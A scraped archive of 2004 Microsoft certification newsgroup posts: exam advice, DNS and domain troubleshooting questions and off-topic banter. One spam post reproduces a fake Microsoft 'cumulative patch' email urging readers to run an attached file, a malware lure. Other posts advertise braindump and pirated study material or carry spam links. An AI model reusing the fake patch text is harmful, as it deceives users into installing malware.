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 - Script error: 70-270 Hi, I'm trying to run the Readiness Review exam (downloaded from the Microsoft site) and it won't run because of internet explorer script errors. Initially, when I start the application the error is: Line 17 Char 1 Error: 'objBigList.DocumentElement' is null or not an object. I click 'yes' to continue running scripts on the page but when I click on 'Start Test' the test appears to start (timer and everything) but there's no question. Any ideas on how to fix this? Thanks! Tag: OT Friday Funny Tag: 149267
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 - Use these critical patch which comes from Microsoft --coozfvym Content-Type: multipart/related; boundary="ddanagdfpxjokgc"; type="multipart/alternative" --ddanagdfpxjokgc Content-Type: multipart/alternative; boundary="xesbsxteocmou" --xesbsxteocmou Content-Type: text/plain Content-Transfer-Encoding: quoted-printable MS Customer this is the latest version of security update, the "October 2004, Cumulative Patch" update which resolves all known security vulnerabilities affecting MS Internet Explorer, MS Outlook and MS Outlook Express as well as three newly discovered vulnerabilities. Install now to help protect your computer from these vulnerabilities, the most serious of which could allow an attacker to run code on your system. This update includes the functionality = of all previously released patches. System requirements: Windows 95/98/Me/2000/NT/XP This update applies to: - MS Internet Explorer, version 4.01 and later - MS Outlook, version 8.00 and later - MS Outlook Express, version 4.01 and later Recommendation: Customers should install the patch = at the earliest opportunity. How to install: Run attached file. Choose Yes on displayed dialog box. How to use: You don't need to do anything after installing this item. Microsoft Product Support Services and Knowledge Base articles = can be found on the Microsoft Technical Support web site. http://support.microsoft.com/ For security-related information about Microsoft products, please = visit the Microsoft Security Advisor web site http://www.microsoft.com/security/ Thank you for using Microsoft products. Please do not reply to this message. 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Install now to help protect your computer from these vulnerabilities, the most serious of which could allow an attacker to run code on your system. This update includes the functionality = of all previously released patches. </TD></TR> </TABLE> <TABLE BORDER=3D"1" CELLSPACING=3D"1" CELLPADDING=3D"3" WIDTH=3D"600"> <TR VALIGN=3D"TOP"> <TD NOWRAP><IMG SRC=3D"cid:cflkupj" = ALIGN=3D"absmiddle" BORDER=3D"0"> System requirements </TD> <TD NOWRAP>Windows 95/98/Me/2000/NT/XP</TD> </TR> <TR VALIGN=3D"TOP"> <TD NOWRAP><IMG SRC=3D"cid:cflkupj" = ALIGN=3D"absmiddle" BORDER=3D"0"> This update applies to </TD><TD NOWRAP> MS Internet Explorer, version 4.01 and later MS Outlook, version 8.00 and later MS Outlook Express, version 4.01 and later </TD> </TR> <TR VALIGN=3D"TOP"> <TD NOWRAP><IMG SRC=3D"cid:cflkupj" = ALIGN=3D"absmiddle" BORDER=3D"0"> Recommendation</TD> <TD NOWRAP>Customers should install the patch = at the earliest opportunity.</TD> </TR> <TR VALIGN=3D"TOP"> <TD NOWRAP><IMG SRC=3D"cid:cflkupj" = ALIGN=3D"absmiddle" BORDER=3D"0"> How to install</TD> <TD NOWRAP>Run attached file. = Choose Yes on displayed dialog box.</TD> </TR> <TR VALIGN=3D"TOP"> <TD NOWRAP><IMG SRC=3D"cid:cflkupj" = ALIGN=3D"absmiddle" BORDER=3D"0"> How to use</TD> <TD NOWRAP>You don't need to do = anything after installing this item.</TD> </TR> </TABLE> <TABLE WIDTH=3D"600"><TR><TD> Microsoft Product Support Services and Knowledge Base articles can be found on the <A HREF=3D"http://support.microsoft.com/" = TARGET=3D"_top">Microsoft Technical Support</A> web site. = For security-related information about Microsoft products, please = visit the <A HREF=3D"http://www.microsoft.com/security" TARGET=3D"_top"> Microsoft Security Advisor</A> web site, = or <A HREF=3D"http://www.microsoft.com/contactus/contactus.asp" = TARGET=3D"_top">Contact Us.</A> Thank you for using Microsoft products. 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 - 70-299 Advice Hi all, has anyone had any luck passing this exam? I have just failed it for the second time. Passing score 700 both times, first time got 650, second time got 675. Gutted. Thing is, I can't figure out where I am going wrong, I know the material, I've been using it for years, and studied hard, and for the life of me can't remember doing a question where I was completely stumped for an answer. Got to wait two weeks now before re-sitting it again......how depressing.... Be happy to hear peoples thoughts on it? Thanks Frank Tag: OT Friday Funny Tag: 149257
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 - O|T what is going down?? they have lost the plot over ther http://news.ninemsn.com.au/article.aspx?id=19653 http://tinyurl.com/3pnw9 Tag: OT Friday Funny Tag: 149256
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 - BloodRayne BloodRayne BloodRayne BloodRayne BloodRayne http://www.bloodrayne2.com/images/br2_butt.jpg i fuggin' am in LOVE WITH HER! MAN ALIVE!!!! Tag: OT Friday Funny Tag: 149245
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 - OT: Oy Vei man i got to deploy some fuggin' anti spyware apps on the desktops @ wrk. i have been dealing with this junk support calls non-stop for the last couple of weeks. great, yet another resource hog app to run in real time to slow down the machines even more. rowdy is very much lookin' forward to the thanksgiving weekend to relax and take it easy and eat some turducken! for those of you who never heard of it, it's a duck stuffed in a chicken stuffed in a turkey. http://www.thesalmons.org/lynn/turducken.html now my question is, who was it that had so much time and poutlry on their hands to invent a recepie such as this! yabba dabba dooo.... Rowdy Yates MCNGP #30 Tag: OT Friday Funny Tag: 149244
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 - ¦U¦ì¤j¤j, ¦³µL¦nºô¤¶²Ð?? ¦U¦ì¤j¤j, ¦³µL¦nºô¤¶²Ð?? o¾¤©O«×°Õ!!! http://all.at/1c81e81w2 ²á¤Ñ·R±¡, «Óô¬ü¤k¹Ï®w, ¼vµ®T¼Ö©ú¬P·s»D¸ê°T, ¤k¤h§êè°¨k¤h³ß¦n. ¤@¤@»ô¥þ. ËÝ¦h³¥Ú», §A¥òø§Ö d o¾¤!!! øo¾¤´N¨«Ä_!!! http://all.at/1c81e81w2 Tag: OT Friday Funny Tag: 149236
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 - OT: MSN Tech Support Ok... I gotta share this. My soon to be mother in law took it upon herself to call tech support due to some issues when upgrading (ha) to MSN 9. Dial up of course. Seems her internet connection has been slow lately. So she gets on the phone with the help desk. They have her go through some of her network connections (why?), make a couple changes, and somewhere in there... pointed out to her that she had 128k+ connection to the internet. Now, I am not so egotistical to think that I know everything... but she is dialing up on a 56K modem... and the tech is telling her she has speeds of 128k +... not just 128.. but better. This she was explaining to me... I tried to get away... I tried my best to just walk away... but no. My Fiance stopped me. So, I explained as delicatley as I could... a 56K modem is exactly that... the BEST you are going to get is probably about 50-52k... But they looked at me like I am stupid (I am the one here with an A+ and MCSA)... I said, that would be like trying to drive 100 MPH through a thick forest... Or It just won't work. Now, my soon to be Mother in law is not the one I hold responsible on this... to think that TECH SUPPORT told her that she had those kinds of speed over a dialup conncetion on a 56k modem is beyond me. huh. What is this world coming to (either that... or they have some amazing 56k modems in india where that tech support is at). Tag: OT Friday Funny Tag: 149230
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 - OT: Thursday Fun Jesus Christ! http://www.ubersite.com/m/46896 "Jesus at climax." Priceless. -- KB - MCNGP "silent thug" #26 first initial last name AT gmail DOT com Tag: OT Friday Funny Tag: 149228
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 - Somewhat OT: Br@indumper bites dust Since it's been relatively slow in here lately, thought that some of you who don't read the alt groups (alt.certification.mcse) might want to see something that doesn't happen a lot. Someone who goes by Adam was peddling (or attempting to peddle) illegal copies of various test prep software. I had forwarded his original post to MS in hopes that they'd at least shut down his hotmail account, but apparently he's been turned in by... get this... his own room mate. -- Fris "Johnny Blaze rocks" bee®, MCNGP #13 The MCNGP Team - We're here to help! http://www.mcngp.com Certaholics http://groups.yahoo.com/group/certaholics Tag: OT Friday Funny Tag: 149209
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 - support what is http 404 Tag: OT Friday Funny Tag: 149172
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 - Exams in Bangkok Can anyone recommend an exam centre in Bangkok? I'm planning to take 70-290 (maybe more) while I'm there in a month or so. Nice if it's the kind of place the average taxi driver would be able to find (knowing bangkok taxi drivers, that's probably a bit optimistic!) Thanks in advance. Tag: OT Friday Funny Tag: 149167
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 - are the exams easy? Hi. I have studied the MCSE 2003 online books (4 of them)... i think i know my stuff. are the exams easy Tag: OT Friday Funny Tag: 149164
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 - exam prep 70-294 I would like to know what are the best books and exam prep for the 70-294 test. I have been looking around and I have not found a good source or the over all suggestion on how to prep for this test. I some one could tell me what is the best path to take. Thanks Eddy Tag: OT Friday Funny Tag: 149153
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 - 70-216 Yipiiiiiiiii I passed 70-216 , it is not easy exam, first study microsoft then study sybex and practice with Trancender and give at least a month to study. This exam top of the hill then easy. Best Regards Tag: OT Friday Funny Tag: 149145
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 - Outlook 2002 and XP SP2 Is slow when sending emails , they stay in the outbox a little longer than Normal. Any Ideas Tag: OT Friday Funny Tag: 149141
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 - FS: Troytec/Testkiller Certification Study Guides For Sale: TroyTec/TestKiller Study Guides " PROVEN YOU'LL PASS WITH THESE STUDY GUIDES " www.troytec.com $15 each Can e-mail or ship on cd. E-mail me for more info johnnyblaze1980nf@hotmail.com Microsoft 70-028 MCSE - Admin SQL 7.0 70-029 Microsoft SQL 7.0 Design 70-058 Windows NT4.0 Networking Essentials 70-059 Windows NT4.0 TCP-IP 70-067 Windows NT Server 4.0 70-068 Windows NT Server Enterprise 4.0 70-073 Windows NT Workstation 4.0 70-079 Internet Explorer 4.0 Admin 70-080 Internet Explorer 5.0 Admin 70-081 Microsoft Exchange Server 5.5 70-086 Microsoft SMS 2.0 70-087 Microsoft IIS 4.0 70-088 Microsoft Proxy Server 2.0 70-100 Analyzing Requirements 70-152 Visual Interdev 6.0 70-175 SG 70-210 Windows 2000 Professional 70-215 - Windows 2000 Server 70-216 Windows 2000 Network Infrastructure 70-217 Windows 2000 Directory Services Infrastructure 70-218 - Managing a Microsoft Windows 2000 70-219 Designing a W2K Directory Services Infrastructure 70-220 Windows 2000 Network Security Design 70-221 Windows 2000 Network Infrastructure Design 70-224 MCSE Study Guide Exam 70-225 Microsoft Exchange Server 2000 Design 70-227 Microsoft ISA Server 2000 Admin 70-228 Microsoft SQL 2000 Admin 70-229 Microsoft SQL 2000 Databases Design 70-240 Windows 2000 Accelerated A+ Troytec 220-121 A+ Certification Study Guide Core Exam Troytec 220-122 CompTIA A+ DOS&Windows Cisco TestKiller 640-503 ? CISCO Study Guide Exam Edition 2 Testkiller 640-504 - CISCO Study Guide Exam Edition 2 Testkiller 640-505 - CISCO Study Guide Exam Edition 1 Testkiller 640-506 - CISCO Study Guide Exam Edition 1 640-407 Cisco CCNA 1.0 640-507 Cisco CCNA 2.0 Troytec - CCNP - 640-503 Troytec - CCNP - 640-504 CompTIA N10-001 CompTIA Network+ Tag: OT Friday Funny Tag: 149127
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 - PC KEEPS DYING Well I heard you guys were smart so can you tell me why my PC keeps dying? Thanks Man. Tag: OT Friday Funny Tag: 149118
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 - Hello all I am a lurker here and love to read the funny things you guys write. I do hope they are supposed to be funny. When I get sick of studying I read your stuff. Keep up the good work and any motivating tips you can give me would be appreciated. I just passed the Security+ and am studying XP. I plan on taking that test in a couple of weeks. Thanks in advance Tag: OT Friday Funny Tag: 149095
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 - OT: Last Post from http://groups- beta.google.com/group/microsoft.public.cert.exam.mcse/about Total 6198 neilm...@nospamforyou.com 6196 consultant_mc...@yahoo.com 4842 b...@brainless.net 4333 anonym...@discussions.microsoft.com 3288 y...@respondtothegroup.com 3003 . 2125 youc...@sendmespam.com 1781 firstinitiallastn...@technologist.com 1593 rhammersm...@hotmail.com 1513 bhile...@dasi-software.com and now I am off to a new email addy...get my name in the top 10 twice... -- Neil MCNGP #30 the "curious" hair on the soap of society Tag: OT Friday Funny Tag: 149078
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 - KEN BRISCOE IS A BIG FAT BALD IDIOT! Naaaaa ner naaaaa ner naaaaa ner!!!! And so are you... steak boy!!!!! Tag: OT Friday Funny Tag: 149072
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 - GP.chm for Windows Server 2003 I used gp.chm for windows 2K, very extensively. Is there (where?) an equivalent gp.chm (name?) for Windows Server 2003? I can't find one. -- Will Harper, MCSE, MCT, CCNA, MCSA, A+, N+ CTT+ Security+ (etc) MCP 442293 Independent Trainer/Consultant Tag: OT Friday Funny Tag: 149070
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 - training resources Hello I want to get a MCSE certification about microsoft windows 2000 and I would like to know where I can find free training resources, guides, e-books, or something else. In my country those books are extremely expensive and i can't affort the books, the courses and the exam. Please if sombody can help me I'll apreciate very much.. begin 666 sig.jsp M1TE&.#EA`0`!`(#_`/___P```"'Y! $`````+ `````!``$`0 ("1 $`.VEF !#0`` ` end Tag: OT Friday Funny Tag: 149045
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 - ANYONE WANTS TO CLEAR MICROSOFT,CISCO,COMPTIA,SUN,ORACLE CERTIFICATIONS HI DEAR FRIENDS IF ANYONE WANTS TO CLEAR THESE CERTIFICATION THEN MAIL ME AT LEOPIE_NETWORKS@REDIFFMAIL.COM Tag: OT Friday Funny Tag: 149027
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 - ==< HOT DEALS >== New Additions.... CBT-Nuggets 70-290 = $19.95 (1 CD) CBT-Nuggets 70-291 = $19.95 (1 CD) CBT-Nuggets 70-293 = $19.95 (1 CD) CBT-Nuggets 70-294 = $19.95 (1 CD) Testout MCSE 2003 (70-290) = $19.95 (1 CD) Testout MCSE 2003 (70-291) = $19.95 (1 CD) Testout MCSE 2003 (70-293) = $19.95 (2 CDs) Testout MCSE 2003 (70-294) = $19.95 (1 CD) Testout MCSE 2003 (70-297) = $19.95 (1 CD) ItCeRtUs Web : http://www.itsoftwares.tk Web : http://www.itcert.tk E-mail: info@itsoftwares.tk Tag: OT Friday Funny Tag: 149025
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 - Upgrade from MCSE 2000 to MCSE/MCSA 2003 anybody know which exam have to attend if i want to upgrade mcse 2000 ro MCSE/MCSA 2003 Tag: OT Friday Funny Tag: 149021
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 - root domain The MS Press 70-291 book says that "" is the root domain. The Sybex book says that "." is the root domain. Which is correct? Tag: OT Friday Funny Tag: 149016
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 - DNS - Forwarding server vs. caching-only server Can someone explain how a Forwarding server is functionally any different from a Caching-only server? A Forwarding server forwards all DNS requests to another DNS server unless it has the requested information in its cache. A Caching-only server forwards all DNS requests to another DNS server unless it has the requested information in its cache. What's the difference? Tag: OT Friday Funny Tag: 149014
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 - ISA 2000 eval version Where?? I am working on 70-214, security. Part of the test is on ISA 2000. My problem is that I cannot find an eval version of ISA 2000 to practice with in my lab. ISA 2004 is available but not 2000. I tried using 2004 but there is a lot of difference between 2000 and 2004. I looked at the books for 70-227 but none of them mentioned that they had an eval version of ISA 2000. How do I find an eval version of ISA 2000?? Tag: OT Friday Funny Tag: 149009
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 - 70-290 Exam Hallo, Need some FREE Cram Sessions of 70-290 Exam. Thanks in advance Tag: OT Friday Funny Tag: 148971
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 - OT: Is history about to be made? 6187 consultant_mc...@yahoo.com 6186 neilm...@nospamforyou.com http://groups-beta.google.com/group/microsoft.public.cert.exam.mcse/about -- Fris "Don't get Neil started..." bee®, MCNGP #13 The MCNGP Team - We're here to help! http://www.mcngp.com Certaholics http://groups.yahoo.com/group/certaholics Tag: OT Friday Funny Tag: 148965
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 - OT Monday Funny All I can say is HA HA HA HA HA! http://story.news.yahoo.com/news?tmpl=story&ncid=757&e=1&u=/nm/20041004/od_nm/penis_dc It is sfw. Consultant Tag: OT Friday Funny Tag: 148964
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 - SICK OF ALL OF YOU I NEED HELP AND YOU DON'T CARE ... ! ... Tag: OT Friday Funny Tag: 148935
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 - O.T. can anyone help me get a g-mail account, goolgew arent being very helpful!! Tag: OT Friday Funny Tag: 148919
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 - OT: Monday Fun All hail the Viking Kittens! http://www.public.asu.edu/~mharp/viking_kittens/VikingKitten.htm Tag: OT Friday Funny Tag: 148917
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 - GEEKS ON CALL RUINED MY LIFE I JUST HAVE TO SAY THAT THE "GEEKS ON CALL" MCSE THAT DESTROYED MY QUICK BOOKS/QUICKEN/MONEY AND EVERY DOC/XLS I HAD FOR MY 6 YEAR OLD SMALL BUSINESS CAN GO TO H*LL! I'M SO FUKKED ... :( Tag: OT Friday Funny Tag: 148916
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 - Certificates I am working on 70-214. My last cert. Certificates are getting to a bit confusing. There are many types used for many different purposes. Is there an good online references that discusses certficates in detail? Tag: OT Friday Funny Tag: 148910
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 - moc classes and moc books??? are moc classes and moc books enough to pass the exams??? Tag: OT Friday Funny Tag: 148905
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 - ! how to trace setup files name copy into Windows I am installing some software, after run setup.exe, it install some files into c:\windows c:\program files c:\windows\system\ how can I trace what is the files name to be copy to which folders, is there any firewall software have the function to let us choose which files can be copy to our computer. your help will be highly appreciated, and please also forward your reply to itsts@yahoo.com thanks tony Tag: OT Friday Funny Tag: 148904
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 - Download Trial Hi, I have followed Neil advise and visited Microsoft web site and registered for download. Howver, after registering, it will take me to a page http://www.microsoft.com/exchange/evaluation/trial/2003.asp There is no option to download. Please help me in downloading. Regards Gopal Tag: OT Friday Funny Tag: 148899
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 - ¦U¦ì¤j¤j, ½×¾Â¶}±i½Ð°ª¤â°µª©¥D!! 20041003 ¦U¦ì¤j¤j, ½×¾Â¶}±i½Ð°ª¤â°µª©¥D!! 20041003 ¥»¯¸«æ»Ý¤j¶q¦³®Æ¤§¤H°µª©¥D, ·d©ôÓ³õ¾a¤j®a! ¦³¤ßªÌµ´¹ïÅwªï, ¤H¤~´÷¥«¤¤!!!!! o¾¤©O«×°Õ!!! http://all.at/ch034a7f ²á¤Ñ±¡·P, «Óô¬ü¤k¹Ï®w, ¼vµ¹CÀ¸º©µe®T¼Ö, ¤¤´äÁú¥x¤é©ú¬P¸ê°T, Áú¬P»p«i«T±M°Ï, ³nµw¹q¸£, ®Õ¶é¥Í¬¡¦Ò¸Õ¸ê°T, ¤k¤h§êè°¨k¤h³ß¦n. ¤@¤@»ô¥þ. ËÝ¦h³¥Ú», §A¥òø§Ö d o¾¤!!! øo¾¤´N¨«Ä_!!! http://all.at/ch034a7f Tag: OT Friday Funny Tag: 148898
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 - Any study material for Exchange 2003 exam 70-285? Has anyone seen any study guides or self tests for 70-285? Thats the last test I have left for my MCSE 2003: Messaging specialization. Thanks Tag: OT Friday Funny Tag: 148894
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 - Configuring a DNS zone.... In Windows Server 2003, when configuring a new DNS zone, you tell the Wizard that this is to be a Primary server. When the process is complete and you view the zone's Properties, you can see on the General tab that this is in fact a Primary server. Then... over on the SOA tab... it gives you the opportunity to type in the name of the Primary server. Now, just a few moments ago I told it that THIS server is the Primary server. I don't understand why it gives you the opportunity to specify some other server as being the Primary. Is there a possible scenario in which you would specify that this server is primary for this zone, but then enter the name of some other server on the SOA tab? Thanks.............. Tag: OT Friday Funny Tag: 148887
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 - Stub Zones The 70-291 books I have been reading say there are are many uses for Stub Zones. Page 5-69 of the MS Press 70-291 book, for example suggesta using Stub Zones in the following situation: Your local network contains a stub zone that points to a nameserver on a network in another office, on the other side of a presumably slow wan link. If you do a dns request for a host on the remote network, the stub zone would supply you with the address of the remote dns server, so you can query that nameserver instead. The big advantage is that you don't have to query from a root server all the way down to the host you want, which would use some bandwidth. IMO, a local secondary server would be better than a stub zone, because you wouldn't have to query the remote server across the wan link... the local secondary server would already have the dns information you need. Of course the secondary server does require zone transfers, but assuming it is configured for IXFR transfers rather than complete zone transfers, the only transfer traffic would be when clients get new addresses... probably less traffic involved there than having to send dns queries over the wan every time. For that matter a caching-only server would work ok too. I don't think the stub zone is the best solution here. Any comments? Am I wrong? (The other use they recommend for stub zones is to keep an eye on nameservers popping up in delegated zones. No arguement from me there.) Tag: OT Friday Funny Tag: 148886
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 - workstation disjoined domain Does anyone have any ideas as to why a Win2k system would act as if they disjoin itself from the domain? I guess they don't actually disjoin themselves, but they act as if they do because for some unknown reason 2 systems in particular will suddenly not allow domain users to logon to the domain. I can logon with my domain admin account, but the only fix I can find to allow domain users to logon to the domain with these systems is to disjoin them from the domain, logon to the AD server, delete the system's objects from AD, DNS, and DHCP, and then rejoin the systems to the domain. The systems will then work normally for about 4 or 5 days before the problem occurs again. I did notice that these system seem to get slammed from time to time with data being copied and/or moved from them to other systems across the network. I wouldn't think that heavy network traffic would cause a problem, but I'm not sure what else would cause this problem. Thanks! Tag: OT Friday Funny Tag: 148868
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 - OT:Managing storage I'm looking for software to help me clean up my network storage. I'm thinking of getting StorageCentral from Veritas to find all mp3's, video files, pirated software and other unnecessary files that the users are storing. Anyone using this product or can you recommend another. TIA. Tag: OT Friday Funny Tag: 148867
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 - OT: Debate Does anyone know where I can download a copy of full Bush-Kerry debate video? I looked around and I can only find clips. I missed part of it (most of it) as you know the field we are in. :-( Thanks. Tag: OT Friday Funny Tag: 148866
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 - OT: Aint Canada Great?! http://www.pbs.org/cringely/pulpit/pulpit20040930.html -- Neil MCNGP #30 the "curious" hair on the soap of society Tag: OT Friday Funny Tag: 148853
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 - Transcender or Measure Up? Does anyone have an opinion as to which would be the best resource for exam 70-293? I used Transcender for 70-292 and was disappointed. I felt very unprepared for the real test after taking it. Would Measure Up be a better test for 70-293? Thanks Tag: OT Friday Funny Tag: 148832
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 - Google fans out there,,,, Any comments? http://gmail-is-too-creepy.com/ Tag: OT Friday Funny Tag: 148828

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